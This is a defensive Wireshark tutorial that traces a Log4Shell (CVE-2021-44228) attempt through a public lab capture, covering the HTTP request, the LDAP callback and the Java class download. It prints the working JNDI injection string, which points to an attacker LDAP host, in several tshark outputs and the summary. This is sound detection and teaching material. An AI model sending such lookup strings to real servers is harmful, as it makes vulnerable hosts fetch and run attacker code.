Detect Log4Shell Exploit Traffic with Wireshark

Deepak Prasad
Tested on RHEL 10.2 (Coughlan)
Package wireshark-cli-4.4.2-10.el10_2.x86_64
Applies to Wireshark 4.x on Linux, Windows, or macOS when the capture contains cleartext HTTP
Privilege Normal user to open a saved capture
Scope How to recognize a CVE-2021-44228 attempt in a packet capture and follow the LDAP callback and the later HTTP download. Does not cover deploying a vulnerable application or writing an exploit.
Related guides How to use Wireshark
Detect a malicious download
Trace IP addresses
Analyze TLS in Wireshark
Short on time?Beta Get the gist of this 15-minute read in seconds, then ask follow-up questions

Open a saved capture and look for a Log4Shell attempt, then follow whatever the targeted host did next. CVE-2021-44228 let a vulnerable log4j-core turn attacker-controlled log text into a JNDI lookup. JNDI is Java's naming interface. In this failure mode it was pointed at a server the attacker controlled.

The examples use one public training file, not a live application. You will see the inbound HTTP request, the outbound LDAP lookup, a Java class download, and a later encrypted session that the capture cannot read.


Key takeaways

  • CVE-2021-44228 affected vulnerable log4j-core versions. Attacker-controlled log content could trigger an unsafe JNDI lookup.
  • A literal ${jndi:ldap://...} string is strong evidence of an attempt. Attackers also used obfuscated variants, so one string filter cannot detect every attempt.
  • The most useful next step is to follow outbound connections from the targeted server. An LDAP, RMI, or DNS callback shows the lookup progressed. A later HTTP class download is stronger evidence than the injected string alone.
  • Seeing the exploit string proves an attempt. It does not by itself prove that code ran.
  • HTTPS hides the inbound payload unless TLS is decrypted or the attempt is logged somewhere else.
  • Match the capture with the application log before you call the host compromised.

What Log4Shell looks like on the network

A few terms come up in every step:

  • Log4j: a Java logging library. Applications call it to write lines such as "login failed for user X" to a log file
  • Lookup: a ${...} placeholder that Log4j can replace with a value while it writes the line
  • JNDI: Java Naming and Directory Interface, the Java feature that asks a directory such as LDAP for an object by name
  • LDAP: a directory protocol. In this capture, the LDAP reply contains a Java naming reference that points the client to another HTTP location
  • Callback: a connection the targeted server opens outward because of the text it received
  • Frame: one captured packet, numbered in the Wireshark packet list

In vulnerable Log4j configurations, attacker-controlled text that reached a logging path could trigger lookup expansion, including a JNDI lookup such as ${jndi:ldap://...}. The bug is in log4j-core. An application that ships only log4j-api is not affected. CVE-2021-44228 affected vulnerable log4j-core releases before the corresponding security fixes. The capture used here identifies Log4j 2.14.0, which is in the affected range. Apache's security page has the version matrix.

CVE-2021-44228 in one diagram

Two addresses matter in this file:

  • 192.168.2.6 acts as the source/infrastructure side in this training capture: it sends the initial request and later serves LDAP, HTTP, and TLS traffic
  • 192.168.2.5 runs the application on TCP 8080. It receives the request and then connects outward

Each line below is one step you will find in the packet list:

    192.168.2.6 sends HTTP to port 8080
                     ↓
   192.168.2.5 connects to LDAP port 1389
                     ↓
    LDAP returns a Java object reference
                     ↓
192.168.2.5 downloads a class from port 8888
                     ↓
     192.168.2.5 opens TLS to port 443

Attempt vs successful compromise

Each piece of evidence says more than the one before it:

  • Lookup string in a request: someone sent the text. It does not prove Log4j expanded it
  • Outbound LDAP from the application host: the server acted on the name in that text
  • Class download from the codebase URL: the server fetched the Java code the LDAP reply pointed to
  • TLS session to the same peer: more follow-on activity. The bytes are encrypted, so the capture cannot show a command

None of these, on its own, proves the downloaded code ran. That needs host evidence, which the last sections cover.


PCAP used in this analysis

The file is the JNDI-reference capture from the OTRF Security Datasets Log4Shell set, pcap_log4shell_cve2021_44228_jndi_reference_2022-05-11181020.pcap. The HTTP Date header is Wed, 11 May 2022. The addresses are lab addresses, not a production network.

Open it in Wireshark with File, then Open. The Wireshark tutorial covers the packet list and the display filter bar. A green filter bar means the expression is valid.

LDAP normally uses TCP 389, but this capture uses TCP 1389. Wireshark picks a protocol from the port, so it does not recognize LDAP here:

  • The packets on port 1389 stay labeled TCP
  • A display filter of ldap returns nothing
  • Right-click one TCP packet to port 1389, choose Decode As, and set that port to LDAP
  • After that, the same packets show bind and search operations

Decode As changes how Wireshark reads the bytes. It does not change the file.

The command examples use tshark, the command-line version of Wireshark. They print the same fields you would read in the packet list. The options are the same in every example:

  • -r reads a saved capture file
  • -Y applies a display filter, the same text you type in the Wireshark filter bar
  • -T fields with one -e per field prints only those columns
  • -d tcp.port==1389,ldap is the command-line form of Decode As

Find the initial suspicious request

Sort by time and look at the first HTTP request. Frame 6 is a GET from 192.168.2.6 to 192.168.2.5 port 8080, 203 bytes, at about 2 milliseconds into the file. Frames 1 to 5 before it are the TCP connection setup and ARP, so they carry no request text.

Search HTTP headers and payload

The lookup is not in the URL. It is the user-agent header, which normally names the browser or tool that sent the request. Any header that the application logs can carry the string. This filter is specific to this PCAP because the lookup is literal and sits in that header. It is a starting point, not a complete Log4Shell detection rule:

bash
tshark -r pcap_log4shell_cve2021_44228_jndi_reference_2022-05-11181020.pcap \
  -Y 'http.user_agent contains "jndi"' \
  -T fields -e frame.number -e ip.src -e ip.dst -e http.user_agent
output
6	192.168.2.6	192.168.2.5	${jndi:ldap://192.168.2.6:1389/o=reference}

One row. The columns are the frame number, the source, the destination, and the header value. 192.168.2.6 sent it and 192.168.2.5 received it. The header value splits into four parts:

  • ${jndi:ldap:// starts a JNDI LDAP lookup
  • 192.168.2.6 is the callback host
  • 1389 is the LDAP port
  • o=reference is the lookup name

Wireshark frame 6 with the JNDI LDAP string in the HTTP user-agent header

Copy the host, the port, and the directory name into your notes. Do not treat the header as a string to send anywhere else.

Frame 35 is the HTTP 200 that follows. The body names Log4j 2.14.0 and repeats the same lookup. That is the application echoing the input, not a second sender. The HTTP response guide covers status and body layout.

Why literal jndi matching is not enough

http.user_agent contains "jndi" hits this file because the header is literal. Real attempts put the same text in other places:

  • the URL or a query parameter
  • a cookie
  • an Authorization header
  • a POST body

When you do not know the field, search the whole packet for a literal occurrence. frame contains looks at every byte of each captured packet:

bash
tshark -r pcap_log4shell_cve2021_44228_jndi_reference_2022-05-11181020.pcap \
  -Y 'frame contains "jndi"' -T fields -e frame.number -e ip.src -e ip.dst -e _ws.col.Protocol
output
6	192.168.2.6	192.168.2.5	HTTP
35	192.168.2.5	192.168.2.6	HTTP

Frame 6 is the request. Frame 35 is the response that repeats the string. A literal search still has limits:

  • It can match unrelated cleartext that happens to contain those letters
  • Nested ${} substitutions can split the word so jndi never appears in order
  • Because frame contains searches individual captured frames, it can also miss a literal string if the bytes are split across multiple TCP segments
  • It cannot read anything inside HTTPS
  • A hit is enough to investigate. A miss does not prove the string was absent

If the string search is empty, still look for a new outbound connection from the server. The callback can be visible when the request text is not.


Identify the JNDI destination

The header already names the next hop: 192.168.2.6 port 1389, directory name o=reference. Now confirm that the application host is the one that places the call. A SYN is the first packet of a new TCP connection, so the host that sends it is the one starting the conversation.

  • Frame 6 arrives at 0.002 seconds
  • Frame 8, at 0.884 seconds, is a SYN from 192.168.2.5 to 192.168.2.6 port 1389

The application host started that connection less than a second after it received the text. That is the server doing the lookup, not the sender opening LDAP itself.


Follow the outbound LDAP traffic

After Decode As, the LDAP conversation is short. A bind is the LDAP login step. Here it is anonymous, with an empty name and no password. One search runs, and the client unbinds, which is the LDAP logout:

bash
tshark -r pcap_log4shell_cve2021_44228_jndi_reference_2022-05-11181020.pcap \
  -d tcp.port==1389,ldap -Y ldap -T fields -e frame.number -e _ws.col.Info
output
11	bindRequest(1) "<ROOT>" simple
13	bindResponse(1) success
15	searchRequest(2) "o=reference" baseObject
17	searchResEntry(2) "o=reference"
18	searchResDone(2) success  [1 result]
30	unbindRequest(3)

Frame 15 searches for o=reference, the same name as the HTTP header. Frame 17 is the one result. LDAP in Wireshark explains bind and search layout. The attributes in that result are the part that matters:

  • objectClass: javaNamingReference says the entry is a pointer to a Java object, not the object itself
  • javaClassName: xUnknown is a placeholder type name
  • javaFactory: xExportObject is the class the client is told to load
  • javaCodeBase: http://192.168.2.6:8888/ is the web address that class can be fetched from

Wireshark LDAP search result pointing javaCodeBase at http://192.168.2.6:8888/

The LDAP reference only tells the Java client where the class can be obtained. It does not prove the client went there. In this capture, the next traffic shows that the application host actually requests the class from port 8888.

Which host made the callback

Every LDAP packet here has 192.168.2.5 as the TCP client and 192.168.2.6 as the server. The host that received the HTTP request is the host that opened LDAP. The reverse direction would be the sender connecting in, which is a different event.

Why outbound traffic matters

Attackers sent the same header to huge numbers of servers, and most never logged it or were not vulnerable. The outbound search is what separates this server from that noise: this process acted on the name. Before you move on, write down:

  • the time of frame 8
  • the source address 192.168.2.5
  • the javaCodeBase URL, which is the next filter

Follow any secondary HTTP download

javaCodeBase ends at port 8888. A Java class file name ends in .class, so filter for a GET request whose path contains that suffix:

bash
tshark -r pcap_log4shell_cve2021_44228_jndi_reference_2022-05-11181020.pcap \
  -Y 'http.request.method == "GET" && http.request.uri contains ".class"' \
  -T fields -e frame.number -e ip.src -e ip.dst -e http.request.uri -e http.user_agent
output
24	192.168.2.5	192.168.2.6	/xExportObject.class	Java/1.8.0_312

Three details tie this request to the LDAP reply:

  • Frame 24 leaves 192.168.2.5 at 1.024 seconds, about 30 milliseconds after the LDAP result
  • The path /xExportObject.class is the javaFactory name with .class added
  • The user agent Java/1.8.0_312 is the Java runtime itself, not a browser

Frame 28 is the answer: HTTP 200 with a 1142-byte body. Those bytes begin with CAFEBABE, the standard Java class-file signature. That is another clue the resource is a compiled .class file.

Wireshark showing the application host downloading xExportObject.class from port 8888

The capture shows a class file moving from 192.168.2.6 to 192.168.2.5. That is evidence the client fetched the codebase. You do not need to decompile the file to record the download.


Build the packet timeline

Put the frames in time order to see the whole chain in one view. The figure leaves out TCP handshake and acknowledgement packets so the requests and replies stay visible. Frame numbers match the capture.

Wireshark packet list from the inbound HTTP request through the LDAP result, the class download, and a SYN to port 443

Read it in order:

  1. Frame 6: 192.168.2.6 sends the lookup to 192.168.2.5:8080.
  2. Frame 8: 192.168.2.5 opens TCP to 192.168.2.6:1389.
  3. Frames 11 and 13: anonymous LDAP bind, success.
  4. Frames 15 and 17: search o=reference, one Java reference, codebase port 8888.
  5. Frames 24 and 28: 192.168.2.5 downloads /xExportObject.class and receives HTTP 200.
  6. Frame 40: at 1.234 seconds, 192.168.2.5 sends a SYN to 192.168.2.6 port 443. The figure stops on that SYN.

Frame 40 alone only proves a connection attempt. The packets after it settle what happened:

  • Frames 41 and 42 finish the TCP handshake, so the connection opened
  • Frame 49 is TLS, so the session on port 443 is encrypted
  • The data after the handshake is unreadable, so you cannot quote a command from it

Indicators you can extract from the PCAP

An indicator is a value you can search for elsewhere, such as in firewall logs, proxy logs, or other captures. Copy these into the incident ticket. They are all present as cleartext.

IP addresses

  • 192.168.2.6 sent the HTTP request, served LDAP on 1389, served the class on 8888, and accepted the TLS connection on 443.
  • 192.168.2.5 accepted the request on 8080 and initiated every callback.

Domains

This file has no DNS names. The HTTP Host headers are 192.168.2.5:8080 and 192.168.2.6:8888. Record a hostname when a production capture has one.

LDAP and RMI destinations

  • TCP 192.168.2.6:1389
  • Search base o=reference
  • javaCodeBase http://192.168.2.6:8888/

There is no RMI conversation in this file. A different attempt can use rmi or dns in the same ${jndi:} slot, or LDAP on port 389. A filter that only watches port 389 would have missed this one.

URI and resource names

  • Inbound path /Log4j-2.14.0-SNAPSHOT/api
  • Downloaded path /xExportObject.class
  • Factory name xExportObject

What the PCAP cannot prove by itself

The file is enough to escalate the event. It is not enough to close it as "code executed" or "nothing happened."

Exploit attempt vs confirmed code execution

Here is what each part of the capture supports:

  • Frame 6 is an attempt
  • Frames 8 through 17 show the vulnerable host performed the LDAP search
  • Frames 24 and 28 show it downloaded a class
  • The TLS session after that is encrypted

Together that is "the lookup progressed and a class was fetched." A packet capture does not show whether the JVM, the Java runtime, loaded that class or whether a new process started. Confirm execution on the host:

  • the application log
  • the list of processes started by the Java process
  • the host audit log

HTTPS visibility

The inbound request here is cleartext HTTP, which is why the user agent is readable. The same header sent over HTTPS on port 443 would be inside TLS. You would see the addresses, ports, and timing, not ${jndi:. Decrypt HTTPS in Wireshark applies when you have the server key or a TLS key log. Without one of those, look for the outbound LDAP or the class download. Those can stay cleartext when the original request does not.

Need for endpoint and server logs

Ask the application owner for logs around the time of frame 6. Two timestamps are available:

  • Frame 6's packet timestamp, 11 May 2022 18:10:20 UTC, is the primary correlation time. In Wireshark, set View, then Time Display Format, to UTC to see it
  • The HTTP Date header on the response says 18:10:22 UTC. The server writes that header, so it may not match the log clock. Treat it as a secondary reference

A log line that contains the same lookup string ties frame 6 to a real logger. A missing line means the string may never have been logged, or the log was rotated. The capture cannot choose between those.


Mitigation and current status

The original CVE was addressed in the security releases for each supported Java branch, but 2.15.0 was followed immediately by additional Log4j security fixes. Do not target 2.15.0 today. Upgrade log4j-core to a currently supported release listed on Apache's security page. A display filter is not a substitute for that upgrade.

A display filter still helps on old captures. It will not see a lookup that never crosses the network in cleartext.


Summary

Frame 6 carries ${jndi:ldap://192.168.2.6:1389/o=reference} in the HTTP user agent. Less than a second later, 192.168.2.5 searches LDAP on that host and receives a Java reference whose codebase is http://192.168.2.6:8888/. The same host downloads /xExportObject.class and receives HTTP 200.

The LDAP callback and the class download show that the JNDI lookup progressed. A later connection to port 443 completes a TLS handshake in this file. That is additional follow-on activity, but the capture still does not prove that the downloaded class executed. A filter for jndi is the right first pass on cleartext HTTP, and it misses obfuscated attempts and anything inside HTTPS. Pair it with outbound connections from the application host, then check the application log. Upgrade log4j-core to a currently supported version recommended by Apache's security guidance.


References


Frequently Asked Questions

What Wireshark filter can I use for Log4Shell?

For this cleartext sample, http.user_agent contains "jndi" finds the injected User-Agent. If you do not know the field, use a broader literal search such as frame contains "jndi". Neither catches obfuscated variants or encrypted HTTPS traffic, so also inspect outbound LDAP, RMI, DNS, or HTTP connections from the target.

Can Wireshark detect Log4Shell?

Yes, when the lookup string or the callback is in the capture as cleartext. Filter HTTP for jndi, then follow connections the server opens to the host and port named in that string. Decode As LDAP if the callback is not on port 389.

Does a jndi ldap string prove the server was compromised?

No. The string proves an attempt. An outbound LDAP search and a class download show the lookup progressed. Code execution still has to be confirmed on the host. Encrypted traffic after the download is another lead, not a transcript.

Why don't I see the exploit string in HTTPS?

The header is inside TLS. Wireshark shows the connection, not the user agent, unless you decrypt with a server key or a key log. Look for a cleartext LDAP, RMI, or HTTP callback from the same server.

Can Log4Shell use something other than LDAP?

Yes. The name in the lookup can be LDAP, LDAPS, RMI, or DNS. This capture uses LDAP on port 1389 and then HTTP on port 8888. A watch that only covers port 389 would miss it.

Is CVE-2021-44228 still relevant?

The original bug is years old, and current Log4j releases are past the first fix in 2.15.0. It is still relevant in old packet captures, in unpatched applications, and as a pattern for "string in a request, callback from the server." Check Apache's security page for the release you should be running.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Celal Dogan

Senior Network Engineer

Proficient in System Administration, Python, Computer Network, Network Engineering, PHP, Web Testing, Penetration Testing, Wireshark, RADIUS, Cisco Router, TCP/IP, Kali Linux, OSPF, NPS, and Multiprotocol BGP.

  • Computer Networking
  • Network Engineering
  • Wireshark
  • Penetration Testing